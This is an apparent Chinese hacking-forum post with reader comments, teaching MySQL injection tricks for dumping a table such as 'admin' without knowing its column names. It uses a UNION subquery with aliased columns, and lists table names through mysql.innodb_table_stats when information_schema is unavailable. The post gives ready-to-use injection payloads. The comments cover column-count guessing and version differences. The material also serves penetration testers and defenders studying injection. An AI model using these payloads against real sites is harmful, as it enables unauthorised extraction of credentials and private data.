【高级注入】Mysql注入时,猜不到列名,获取所有数据
有时候我们不知道列名,因为不能访问Information_Schema或者其他原因
但是我们知道表名,我们可以在不知道列名的情况下dump出该表的全部数据
我们有两个表 article、admin
方案一
select title from article where id = 4 and 0 union SELECT group_concat(a, 0x3a, b) FROM (SELECT 1 a,2 b,3 c UNION SELECT * FROM admin)x
方案二是在exploit-db上看到的文章,Mysql版本大于5.5的情况下,
默认mysql数据库中多了两个表innodb_table_stats、innodb_table_index用来储存所有数据库名和表名
如果我们想获取某个数据库下面所有表名称
select table_name from mysql.innodb_table_stats where database_name=数据库名;
评论12次
方案一的命令 group_concat(a,0x3a, b,0x3a, c) 是不是应该这样啊 方案二 MySQL5.6.17 第一个表存在,第二个没有
第二个需要你的表引擎是innodb的才行 否则的话 是没有啥内容的
表哥,本地测试 遇见了一个小问题!如图:在mysql命令行可以出来,但是在注入点中就出问题了!
报错的意思是你输入的列名不够,你需要继续加 4,5,6,7,8,9 一直到猜对列名的个数,页面会返回正常的结果 还是上面的例子,假如admin表有10个字段,那我这里就得写到10 select title from article where id = 4 and 0 union SELECT group_concat(a, 0x3a, b) FROM (SELECT 1 a,2 b, 3c , UNION SELECT * FROM admin)x 字段这里可以先不写abc什么的因为只是该改字段取的别名,意义用在group_concat中详细指定你的要取哪一列的数据 等猜够字段的个数以后,再添加上 a 、b 、c等别名
第二个技巧很实用,先收藏着,虽然这样的在国内不多。
表哥,本地测试 遇见了一个小问题!如图: 在mysql命令行可以出来,但是在注入点中就出问题了!
手注得对数据库知识有一定的熟悉才能运用的出神入化
参考 https://www.t00ls.com/thread-38412-1-1.html
本地看了下,我是5.5.53,但是没找到这两个表,不晓得什么原因,不过技巧学到啦,感谢分享,话说能都mysql这个库,权限也是够大的
的确不错的奇淫技巧,学xi了!
用到的时候,是个好路子
innodb_table_stats这个表在测试时有,另一个innodb_table_index显示不存在。
不错的办法,可以说是奇技淫巧, 第二种方式 在 5.5.53 版本下提示表不存在